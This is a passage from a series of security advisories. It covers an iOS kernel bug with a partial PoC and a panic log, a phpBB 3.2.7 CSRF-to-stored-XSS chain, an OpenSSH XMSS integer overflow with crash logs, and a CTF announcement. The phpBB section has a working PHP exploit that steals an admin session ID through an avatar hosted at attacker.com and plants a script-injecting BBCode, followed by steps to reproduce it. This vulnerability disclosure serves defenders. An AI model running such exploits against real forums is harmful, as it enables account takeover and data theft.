        ret = IOConnectCallStructMethod(ioconn,
                                        1,
                                        close_inputStruct,
                                        sizeof(close_inputStruct),
                                        close_outputStruct,
                                        &close_outputStruct_size);
        NSLog(@"my_close: %x %s", ret, mach_error_string(ret));
    }
}

Panic log:

panic(cpu 5 caller 0xfffffff007205df4): Kernel data abort. (saved state: 0xffffffe03cafaf40)
	  x0: 0x4141414142424242  x1:  0xffffffe02cb09c28  x2:  0x0000000000000000  x3:  0xffffffe02cb09c28
	  x4: 0x0000000000000000  x5:  0x0000000000000000  x6:  0xfffffff00f35bb54  x7:  0x0000000000000000
	  x8: 0x0000000000000006  x9:  0x0000000000000006  x10: 0x0000000000000001  x11: 0x0000000000080022
	  x12: 0x0000000000000022 x13: 0xffffffe00094bc08  x14: 0x0000000000080023  x15: 0x0000000000006903
	  x16: 0xfffffff00ee71740 x17: 0x0000000000000000  x18: 0xfffffff00ee79000  x19: 0x4141414142424242
	  x20: 0xffffffe02cb08000 x21: 0x0000000000000000  x22: 0xffffffe02cb09c28  x23: 0x0000000000000005
	  x24: 0xffffffe02cb2f748 x25: 0xffffffe02cb0d034  x26: 0x0000000000000050  x27: 0xffffffe004929218
	  x28: 0x0000000000000000 fp:  0xffffffe03cafb2a0  lr:  0xfffffff0069397e8  sp:  0xffffffe03cafb290
	  pc:  0xfffffff0069398dc cpsr: 0x80400304         esr: 0x96000004          far: 0x414141414242429a

And you can see pc aligns is on the x0->0x58 instruction just before the branch:

0xFFFFFFF0069398CC IOSurfaceBufferMngr::CompleteFence
0xFFFFFFF0069398CC
0xFFFFFFF0069398CC                 STP             X20, X19, [SP,#-0x10+var_10]!
0xFFFFFFF0069398D0                 STP             X29, X30, [SP,#0x10+var_s0]
0xFFFFFFF0069398D4                 ADD             X29, SP, #0x10
0xFFFFFFF0069398D8                 MOV             X19, X0
0xFFFFFFF0069398DC                 LDR             X0, [X0,#0x58]                 // Faults here
0xFFFFFFF0069398E0                 CBZ             X0, loc_FFFFFFF006939908
0xFFFFFFF0069398E4                 LDRB            W8, [X19,#0x1E]
0xFFFFFFF0069398E8                 CBNZ            W8, loc_FFFFFFF006939908
0xFFFFFFF0069398EC                 MOV             W1, #0
0xFFFFFFF0069398F0                 BL              IOFence__complete
0xFFFFFFF0069398F4                 LDR             X0, [X19,#0x58]
0xFFFFFFF0069398F8                 LDR             X8, [X0]
0xFFFFFFF0069398FC                 LDR             X8, [X8,#0x28]
0xFFFFFFF006939900                 BLR             X8
[...]
Exploitation

Exploitation of this bug is fairly simple, once the sandbox-escape primitives are set up.
The code in the PoC will also work for exploitation, however the value provided in the SetSessionSettings buffer (0x4141414142424242) will need to be pointed towards a controlled kernel buffer, of which our function pointer can be loaded from. An additional heap infoleak bug could be used for the highest guarantee of reliability. In this case, with a kASLR defeat, you can also speculate the location of the heap on a per-device basis: under high heap memory pressure it is likely that large allocations will end up within the same memory range (0xffffffe1XXXXXXXX).
Since this bug grants us PC control, it lends itself to exploitation via ROP or JOP. While this wouldn’t necessarily work for A12 or newer devices featuring PAC, the non-A12/A13 support is a limitation we already have with our sandbox escape, so this is no big problem. Also note that when building a ROP/JOP chain, the address of our controlled kernel buffer is within x19, and another controlled pointer in x0. This can be used as a stack pivot buffer or memory scratch space.
You can find the poc files on our GitHub repository.

Closing Words

Even with stringent sandboxing protections locking down large amounts of the kernel attack surface, many userland components still contain a large amount of attack surface themselves with many daemons implementing 50+ RPC’s. Chaining a sandbox escape can grant access to areas of the kernel which are highly under-audited, as much of the focus is put into the small slice of the kernel which is directly accessible.
If you have any further questions feel free to DM @iBSparkes on Twitter, or (G)mail me at bensparkes8.

Thank you

We would like to thank iBSparkes for writing this advisory and diving into the technical details with 08Tc3wBB.

SSD Advisory – phpBB CSRF Token Hijacking leading to Stored XSS

Vulnerability Summary
When an admin accesses the Administrator Control Panel (ACP) in phpBB, a leftover session id GET parameter is present in the URL when he goes back to the Board index. Using a special remote avatar URL, an attacker can leak this session id value and perform a CSRF attack in order to create an XSS BBCode, allowing stored xss on the server.
CVE
CVE-2019-13376
Credit
An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure Program.
Affected Systems
phpBB version 3.2.7
Vendor Response
The vulnerability was fixed in version 3.2.8
Vulnerability Details

0x01 – Leaking the administrator’s session ID

PhpBB3 is divided into two parts: a front and back end. The front end is used to create posts, manage profiles, send private messages etc. The back end, or Administration Control Panel, is used to manage the board itself and change crucial settings such as the upload path for uploaded attachments etc. It can also be used to perform sensitive actions such as database backups. The admin panel can only be accessed by administrators of a board.
When a user is also an administrator, he usually logs into the front end context. If the admin wants to access the back end, he has to log into it again by entering his credentials. This means phpBB3 separates the front end session and back end session, but they are not exclusive to each other.
What is interesting about the Admin Panel is that the session ID of the administrative user is reflected as a GET parameter. This means if it is possible to embed an external image with an attacker controlled domain, it would be possible to leak the admin session ID of the administrator via the HTTP referrer. The session ID is shown in the next image as the sid parameter.


Interestingly enough, when an administrator is finished with using the back end and leaves it via clicking the ‘Board Index’ link, he is redirected to the index page of the forum and the SID parameter is still attached as a GET parameter. This is shown in the following image:


As can be seen, the SID parameter is still set as a GET parameter and has the same value. I then looked at the index page of the front end and tried to come up with a way to embed a user controlled, external image into it so the SID parameter is leaked via the HTTP Referer.
As it turns out, achieving this task was easier than expected. If a targeted phpBB3 board has remote avatars enabled, a common setting that allows users to embed avatars from a remote URL instead of uploading them.
The next screenshot shows how an external image is embedded as an avatar from the URL attacker.com:


It is possible to then have this external image embedded into the index page of the front end system via the notification system. Whenever a user receives a notification, a short summary of the notification is displayed to him (on every page), along with the user avatar of the user who caused
the notification. An example screenshot of this is shown below:


As can be seen, the remote avatar is embedded into this page (the user does not have to click the notification bell, the image is always embedded).
This means as soon as an administrator leaves the ACP and his session ID is stored as a GET parameter and a notification for this user exists, his session ID can be leaked via the HTTP referer.
Notifications are generated when:

  • a user receives a PM
  • a user quotes him in a post
  • another user replies to the user’s thread
  • a new post has been made to a subscribed thread
0x02 – escalating the session ID leakage to Stored XSS

Being in possession of the session ID of the administrator is in and of it self not enough to log into his account. PhpBB3 sessions are bound to an IP.
The following is extracted from the phpBB3 Admin Dashboard, which explains the “IP Validation” setting:
“Determines how much of the users IP is used to validate a session; All compares the complete address, A.B.C the first x.x.x, A.B the first x.x, None disables checking. On IPv6 addresses A.B.C compares the first 4 blocks and A.B the first 3 blocks.”
This setting is per default set to A.B.C, so theoretically an attacker with enough resources and motivation could try to get an IP from the target’s carrier. However, there is a much simpler approach.
There exists a feature in the ACP that is vulnerable to CSRF attacks. This feature is the “custom Bbcode” feature. Like many other forums, phpBB3 allows forum users to use shortcodes such as [img]http://abc.com/image.jpg[/img] in posts, private messages and threads that then turn into HTML code displayed to other users. PhpBB3 ships with a couple of default ones, like [img], [url], [I] etc. As the name of the custom Bbcode ACP feature suggests, it allows to create new bbcodes. The next screenshot shows an example of how such a new custom bbCode can lead to XSS:


Now, back to the CSRF vulnerability. PhpBB3 has two mechanisms in the ACP to prevent CSRF attacks:

  1. The SID of the admin MUST be sent via GET or Post
  2. A CSRF nonce is generated for each form

When looking at the source code behind this bbCode form, one interesting thing can be noticed:

// Set up general vars
$action    = $request->variable('action', '');
$bbcode_id = $request->variable('bbcode', 0);
$submit = $request->is_set_post('submit');
$this->tpl_name = 'acp_bbcodes';
$this->page_title = 'ACP_BBCODES';
$form_key = 'acp_bbcodes';
add_form_key($form_key);
if ($submit && !check_form_key($form_key))
{
    trigger_error($user->lang['FORM_INVALID'] . adm_back_link($this->u_action),
    E_USER_WARNING);
}

(The code can be found in /includes/acp/acp_bbcodes.php in the method main)
This interesting thing is that the CSRF nonce is only checked when the POST parameter submit is set. If it is not, the nonce is not checked but execution continues normally. This means the second CSRF check for this form can be bypassed by simply not sending the submit POST parameter.
Since we are in possession of the first protection, the SID of the admin it is now possible to CSRF this form. Luckily, the variable() method of the request object returns either GET or POST variables, meaning it is possible to perform the entire CSRF via GET parameters.
As a result, the CSRF can be chained with the first vulnerability. By embedding an image with an external URL into the index page of the front end that points to an attacker server that waits for the SID parameter being leaked in the HTTP Referer and then redirects the request to the image in a way that it exploits the CSRF vulnerability in the ACP.
PoC code for this:

<?php
$target_url = "http://localhost/phpBB3-3.2.7/";
// put the desired shortcode here. {TEXT} is dynamic and allows for example
// [xss]customCode();[/xss] to turn into <script>customCode()</script>.
$custom_shortcode = "[xss]{TEXT}[/xss]";
// the HTML replacement. You can also hardcore the code between the script tags.
$shortcode_replacement = "<script>{TEXT}</script>";
// If a session ID is available, attempt the CSRF exploit
if(strpos($_SERVER['HTTP_REFERER'], 'sid') !== false) {
    // leak the session ID of the nonce
    $parts = parse_url($_SERVER['HTTP_REFERER']);
    parse_str($parts['query'], $query);
    if(!isset($query['sid'])) {
        header('Content-Type: image/png');
        $img = imagecreatefrompng('avatar.png');
        imagepng($img);
        die;
    }
    // build the CSRF payload
    $payload = http_build_query(
        array(
            'bbcode_match' => $custom_shortcode,
            'bbcode_tpl' => $shortcode_replacement,
            'i' => 'acp_bbcodes',
            'mode' => 'bbcodes',
            'action' => 'create',
            'sid' => $query['sid']
        )
    );
    // adm is the default admin URL
    $exploit_url = $target_url . "/adm/?" . $payload;
    header('Location: ' . $exploit_url);
} else {
    header('Content-Type: image/png');
    $img = imagecreatefrompng('avatar.png');
    imagepng($img);
    die;
}

This code would create a XSS shortcode in the back end.

Steps to Recreate
  1. install the latest phpBB3 version and create an administrator account
  2. in the ACP, go to General ? Avatar settings and enable remote avatars
  3. upload the poc.php file, along with an avatar.png to a webserver
  4. edit the poc.php file so that the target URL etc are adjusted to your installation
  5. create a new forum user in another tab and authenticate as him
  6. set this users remote avatar by navigating to: /ucp.php ? Profile ? Edit avatar
  7. Set the remote avatar URL so that the URL ends with either .jpg or png. Example:
    http://attacker.com/poc.php?image.png. Alternatively, you can just use .htaccess directives
    tohide the .php part of the URL.
  8. As the forum user, send the admin a PM (content does not matter)
  9. switch back to the admin user
  10. Go to the back end
  11. Click on Board index

You should then be able to see that a XSS shortcode has been created. This shortcode can now be abused by attackers to execute arbitrary XSS code in Private Messages, threads and posts to take over user accounts, read private messages of other users and posts that are not visible to the user. Furthermore, the attacker can XSS the admin to create and download for example database backups.

Additional Notes

Whenever a user logs into the front end of phpBB3, the front page is loaded with the SID parameter set as the GET parameter as well. This means it is possible to steal the SID of any user when they log in. However, the IP address validation makes this difficult to exploit.
It is also possible to exploit this vulnerability via CSRF entirely. When you load the forum (they are not protected by default via X-Frame-Options) in an iFrame and try to load the admin panel (per default the URL is /adm without supplying a valid SID as a GET parameter, the admin is redirected to the front page of the forum, with the admin SID set as a GET parameter.

SSD Advisory – OpenSSH Pre-Auth XMSS Integer Overflow

Vulnerability Summary
The following advisory describes a Pre-Auth Integer Overflow in the XMSS Key Parsing Algorithm in OpenSSH.
CVE
CVE-2019-16905
Credit
An independent Security Researcher, Adam “pi3” Zabrocki, has reported this vulnerability to SSD Secure Disclosure program.
Affected Systems
OpenSSH version 7.7 up to the latest one (8.0) supporting XMSS keys (compiled with a defined WITH_XMSS macro).
Nevertheless, the bug is only there when OpenSSH is compiled via a compiler with data model ILP64, LLP64 or ILP32 (e.g. any 32 bits systems).
Vendor Response
The vulnerability was fixed in OpenSSH version 8.1
Vulnerability Details

OpenSSH

OpenSSH is a free version of the SSH connectivity tools which technical users of the Internet rely on. Users of telnet, rlogin, and ftp may not realize that their password is transmitted across the Internet unencrypted, but in fact it is.
OpenSSH encrypts all traffic (including passwords) to effectively eliminate eavesdropping, connection hijacking, and other attacks. Additionally, OpenSSH provides secure tunneling capabilities and several authentication methods, and supports all SSH protocol versions.
OpenSSH supports several signing algorithms (for authentication keys) which can be divided in two groups depending on the mathematical properties they exploit:

  • DSA and RSA, which rely on the practical difficulty of factoring the product of two large prime numbers
  • ECDSA and Ed25519, which rely on the elliptic curve discrete logarithm problem

Elliptic curve cryptography (ECC) algorithms are a more recent addition to public key cryptosystems. One of their main advantages is their ability to provide the same level of security with smaller keys, which makes for less computationally intensive operations (i.e. faster key creation, encryption and decryption) and reduced storage and transmission requirements.
OpenSSH 7.7 add experimental support for PQC (Post Quantum Cryptography) XMSS keys (Extended Hash-Based Signatures) is designed to work in Post Quantum area. The code is not compiled in by default at this time.

XMSS

The eXtended Merkle Signature Scheme (XMSS) is the latest stateful hash-based signature scheme. It has the smallest signatures out of such schemes and comes with a multi-tree variant that solves the problem of slow key generation.
Moreover, it can be shown that XMSS is secure, making only mild assumptions on the underlying hash function. Especially, it is not required that the cryptographic hash function is collision-resistant for the security of XMSS.
In contrast to traditional signature schemes, the signature schemes used in XMSS are stateful, meaning the secret key changes over time. If a secret key state is used twice, no cryptographic security guarantees remain. In consequence, it becomes feasible to forge a signature on a new message.

The Vulnerability

Integer Overflow vulnerability causing a memory corruption bug was found during process of parsing XMSS private key. This process requires taking into account previously saved “state”, if available. A function responsible for handling XMSS saved “states” is prone to a memory corruption via integer overflow vulnerability:

int
sshkey_xmss_decrypt_state(const struct sshkey *k, struct sshbuf *encoded,
   struct sshbuf **retp)
{
...
    struct sshbuf *copy = NULL, *decrypted = NULL;
...
    size_t keylen, ivlen, authlen, aadlen;
    u_int blocksize, encrypted_len, index;
...
    blocksize = cipher_blocksize(cipher);
    keylen = cipher_keylen(cipher);
    ivlen = cipher_ivlen(cipher);
    authlen = cipher_authlen(cipher);
...
    if ((copy = sshbuf_fromb(encoded)) == NULL ||
        (decrypted = sshbuf_new()) == NULL ||
        (iv = malloc(ivlen)) == NULL) {
        r = SSH_ERR_ALLOC_FAIL;
        goto out;
    }
...
    if (sshbuf_len(encoded) < sizeof(XMSS_MAGIC) ||
...
    if ((r = sshbuf_consume(encoded, sizeof(XMSS_MAGIC))) != 0 ||
        (r = sshbuf_get_u32(encoded, &index)) != 0 ||
        (r = sshbuf_get_u32(encoded, &encrypted_len)) != 0)
        goto out;
...
    /* check size of encrypted key blob */
    if (encrypted_len < blocksize || (encrypted_len % blocksize) != 0) {
        r = SSH_ERR_INVALID_FORMAT;
        goto out;
    }
    /* check that an appropriate amount of auth data is present */
[1] if (sshbuf_len(encoded) < encrypted_len + authlen) {
        r = SSH_ERR_INVALID_FORMAT;
        goto out;
    }
    aadlen = sshbuf_len(copy) - sshbuf_len(encoded);
...
    /* decrypt private state of key */
[2] if ((r = sshbuf_reserve(decrypted, aadlen + encrypted_len, &dp)) != 0 ||
        (r = cipher_init(&ciphercontext, cipher, key, keylen,
        iv, ivlen, 0)) != 0 ||
[3]     (r = cipher_crypt(ciphercontext, 0, dp, sshbuf_ptr(copy),
        encrypted_len, aadlen, authlen)) != 0)
        goto out;
    /* there should be no trailing data */
    if ((r = sshbuf_consume(encoded, encrypted_len + authlen)) != 0)
        goto out;
    if (sshbuf_len(encoded) != 0) {
        r = SSH_ERR_INVALID_FORMAT;
        goto out;
    }
    /* remove AAD */
    if ((r = sshbuf_consume(decrypted, aadlen)) != 0)
        goto out;
...
}

If an attacker generates a state where ‘aadlen’ + ‘encrypted_len’ is bigger than INT_MAX, then it is possible to successfully pass verification at [1].
Additionally, if ‘authlen’ + ‘encrypted_len’ is also bigger than INT_MAX, then an integer overflow at [2] results in allocating a smaller buffer than desired.
Immediate overflow can happen at [3] where cipher_crypt() is called. This function operates as follows:

  • Copy ‘aadlen’ bytes (without en/decryption) from ‘src’ to ‘dest’.
  • Theses bytes are treated as additional authenticated data for authenticated encryption modes.
  • En/Decrypt ‘len’ bytes at offset ‘aadlen’ from ‘src’ to ‘dest’.
  • Use ‘authlen’ bytes at offset ‘len’+’aadlen’ as the authentication tag.
  • This tag is written on encryption and verified on decryption.

Because of the nature of cipher_crypt() function, it is possible to overflow a lot of useful data before a crash, because ‘copy’ is not being done in a 1 single shot but chunk-by-chunk during crypto operation. Nevertheless, it is not a trivial task.

Vectors of Attack

Any OpenSSH functionality which can parse private XMSS key is vulnerable. E.g. If ‘sshd’ daemon is configured to use an XMSS host key that is malformed, it will crash upon any attempt to connect to this server:

root@ubuntu:~/orig/openssh-8.0p1# gdb -q /root/orig/openssh-8.0p1/sshd
Reading symbols from /root/orig/openssh-8.0p1/sshd...done.
(gdb) r -d
Starting program: /root/orig/openssh-8.0p1/sshd -d
debug1: sshd version OpenSSH_8.0, OpenSSL 1.0.2g  1 Mar 2016
debug1: private host key #0: ssh-xmss@openssh.com SHA256:vVBn0NvOCLKdVFT3CtEFxNHiEgJ1xXBhHdr/YXq5tGc
debug1: rexec_argv[0]='/root/orig/openssh-8.0p1/sshd'
debug1: rexec_argv[1]='-d'
debug1: Set /proc/self/oom_score_adj from 0 to -1000
debug1: Bind to port 65535 on 0.0.0.0.
Server listening on 0.0.0.0 port 65535.
debug1: Bind to port 65535 on ::.
Server listening on :: port 65535.
<Someone connects>
debug1: Server will not fork when running in debugging mode.
debug1: rexec start in 5 out 5 newsock 5 pipe -1 sock 8
process 8844 is executing new program: /root/orig/openssh-8.0p1/sshd
debug1: inetd sockets after dupping: 3, 3
Connection from 127.0.0.1 port 39378 on 127.0.0.1 port 65535
debug1: Local version string SSH-2.0-OpenSSH_8.0
debug1: Remote protocol version 2.0, remote software version OpenSSH_8.0
debug1: match: OpenSSH_8.0 pat OpenSSH* compat 0x04000000
debug1: permanently_set_uid: 108/65534 [preauth]
debug1: list_hostkey_types: ssh-xmss@openssh.com [preauth]
debug1: SSH2_MSG_KEXINIT sent [preauth]
debug1: SSH2_MSG_KEXINIT received [preauth]
debug1: kex: algorithm: curve25519-sha256 [preauth]
debug1: kex: host key algorithm: ssh-xmss@openssh.com [preauth]
debug1: kex: client->server cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none [preauth]
debug1: kex: server->client cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none [preauth]
debug1: expecting SSH2_MSG_KEX_ECDH_INIT [preauth]
Program received signal SIGSEGV, Segmentation fault.
0xb7e40723 in ?? () from /lib/i386-linux-gnu/libcrypto.so.1.0.0
(gdb) bt
#0  0xb7e40723 in ?? () from /lib/i386-linux-gnu/libcrypto.so.1.0.0
#1  0x0e66e054 in ?? ()
#2  0xa2a4b21b in ?? ()
...
#195 0xca2d8e00 in ?? ()
#196 0xa442f816 in ?? ()
#197 0x0000d868 in ?? ()
#198 0x00000000 in ?? ()
(gdb) i r
eax            0xba	186
ecx            0xb0afbbd0	-1330660400
edx            0x4fa0c440	1335936064
ebx            0xb0ae4770	-1330755728
esp            0xbfffebcc	0xbfffebcc
ebp            0x4f0b80	0x4f0b80
esi            0x4f1e46	5185094
edi            0x4f0e96	5181078
eip            0xb7e40723	0xb7(gdb) e40723
eflags         0x210282	[ SF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/i $eip
=> 0xb7e40723:	movups -0x10(%edx,%ecx,1),%xmm0
(gdb)

If someone configures ‘authorized_key’ to use XMSS public key and keep private key to be able to connect to the server, ‘ssh’ client will crash:

pi3@ubuntu:~/orig/openssh-8.0p1$ ./ssh -i ~/.ssh/id_xmss 127.0.0.1 -p 65535 -oHostKeyAlgorithms="ssh-xmss@openssh.com" -oPubkeyAcceptedKeyTypes="ssh-xmss@openssh.com" -l test
verify:: idx = 20
Segmentation fault
pi3@ubuntu:~/orig/openssh-8.0p1$

If someone tries to add this key to ssh-agent, it will crash too:

pi3@ubuntu:~/orig/openssh-8.0p1$ rm -rf ~/.ssh/*
pi3@ubuntu:~/orig/openssh-8.0p1$ ./ssh-agent
SSH_AUTH_SOCK=/tmp/ssh-VEgZcFmzWZ2o/agent.8927; export SSH_AUTH_SOCK;
SSH_AGENT_PID=8928; export SSH_AGENT_PID;
echo Agent pid 8928;
pi3@ubuntu:~/orig/openssh-8.0p1$ SSH_AUTH_SOCK=/tmp/ssh-VEgZcFmzWZ2o/agent.8927; export SSH_AUTH_SOCK;
pi3@ubuntu:~/orig/openssh-8.0p1$ SSH_AGENT_PID=8928; export SSH_AGENT_PID;
pi3@ubuntu:~/orig/openssh-8.0p1$ ./ssh-add -M 2
pi3@ubuntu:~/orig/openssh-8.0p1$ cp ~/p_key_bug/* ~/.ssh/
pi3@ubuntu:~/orig/openssh-8.0p1$ ./ssh-add -M 2
Segmentation fault
pi3@ubuntu:~/orig/openssh-8.0p1$

From the real world cases, many hosting services allow the user to upload user’s own pair of private/public keys for the authentication. Then it can be automatically consumed when creating new VMs. They need to parse it so an attacker can upload a malicious key and cause vulnerability during parsing process. Examples include Azure Key Vault, Amazon Key Management Service (KMS) or Cloud Key Management Service by Google Cloud. Any Key management service might be a vector of the attack.

TyphoonCon Challenge 2019

During TyphoonCon 2019 we held an open contest which involved a specially crafted binary program we provided. The goal of the contest was to code a program which, when launched, interacts with the challenge program via network traffic and obtains the hidden message: “TyphoonCon 2019 Get this string first!”.
The winners where chosen based on the time they submitted a fully working solution which included the following:

  1. Documentation of the attack flow used in their program
  2. Code which utilizes network communication between itself and the challenge program

The challenge was not an easy one, and it involved several techniques which required experienced security experts use, making it non-trivial and highly challenging.
Eventually, three final winners were announced:

  • First Place: Niklas Breitfeld @brymko
  • Second Place: Tom Dohrmann @13Erbse
  • Third Place: Peace-Maker @jhartung10

You can get the challenge and the full writeups of the three winners on our Github.com repository here:
TyphoonCon Challenge 2019 – Github Repository

Thank you for participating, see you soon in our next challenge!
Be sure to check out our upcoming even in June 2020:

All offensive security conference